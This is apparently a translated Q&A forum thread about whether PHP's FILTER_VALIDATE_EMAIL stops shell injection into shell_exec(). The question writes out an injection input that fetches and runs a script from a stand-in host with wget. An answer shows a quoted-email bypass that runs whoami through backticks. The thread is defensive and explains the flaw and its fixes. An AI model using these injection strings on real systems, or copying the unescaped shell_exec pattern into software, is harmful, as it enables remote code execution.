FILTER_VALIDATE_EMAIL是否足以阻止shell注入?

时间:2015-06-12 19:24:50

标签: php code-injection shell-exec

所以我打算使用shell_exec()来处理运行发送电子邮件的php脚本。

这一切都很有效,但我只是稍担心只使用FILTER_VALIDATE_EMAIL确保注射不会发生的安全隐患。

因此,举例来说,我将使用类似的东西:

$email=$_POST['email'];
if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    echo 'Nope ...';
} else {
    shell_exec("/usr/bin/php /var/www/mysite/includes/sendemail '" . $email . "'" > /dev/null 2>/dev/null &);
}

所以,显然没有验证,我可以提交我的电子邮件,如:

'; wget -O ./evil.sh http://evilsite.com/evilscript; ./evil.sh; '

所有地狱都可能破裂......

这是100%注射证明(我们知道)还是我还应该添加其他东西?

2 个答案:

答案 0 :(得分:2)

FILTER_VALIDATE_EMAIL实施基于Michael Rushton’s Email Address Validation,它使用RFC 5321验证输入,i。例如Mailbox production rule

这些电子邮件地址比实际使用的电子邮件地址更广泛。例如,RFC 5321允许 Local-part 中的带引号的字符串,如"…"@example.com

这允许注入任意命令,例如:

"'`whoami`'"@example.com

这将以你的shell命令结束:

/usr/bin/php /var/www/mysite/includes/sendemail '"'`whoami`'"@example.com' > /dev/null 2>/dev/null &

生成的sendmail参数值将是引用whoami的结果,如"markus"@example.com

你看到FILTER_VALIDATE_EMAIL根本不适合验证shell参数,因为它不应该是。

使用用于转义shell参数的函数,例如escapeshellarg用于转义单个参数,或escapeshellcmd用于任意参数。

通常,如果你可以通过内置的PHP功能实现相同的功能,则应该避免使用shell命令,因为即使是escapeshellarg is not free of bugs

答案 1 :(得分:1)

  

这是100%注射证明(我们知道)还是我还应该添加其他东西?

这里有关于数据库的问题:Does FILTER_VALIDATE_EMAIL make a string safe for insertion in database?

如果filter_var($var, FILTER_VALIDATE_EMAIL)对数据库不安全,那么对命令行来说可能不够安全。

如果您确实需要转义字符串以便在shell中使用,请在escapeshellarg()的答案中使用escapeshellcmd()Filter var for calling a shellscript with system on php。请务必阅读PHP网站上的API文档。

但首先,您应该do some research on OWASP了解应用程序安全性的最佳做法。

  

逃避和任何其他对策都是无效的,有很多向量可以绕过它们中的每一个;不要相信新手开发人员告诉你的事情。

您可以通过将电子邮件写入临时文件,然后指示您的sendemail应用程序从文件中读取(如果可以)来完全避免此问题。

或者,如果托管配置可用,您可以使用PHP的mail()方法 - 请参阅How to send an email using PHP?

继续保持安全。 PHP's mail(): What are potential issues to watch out for?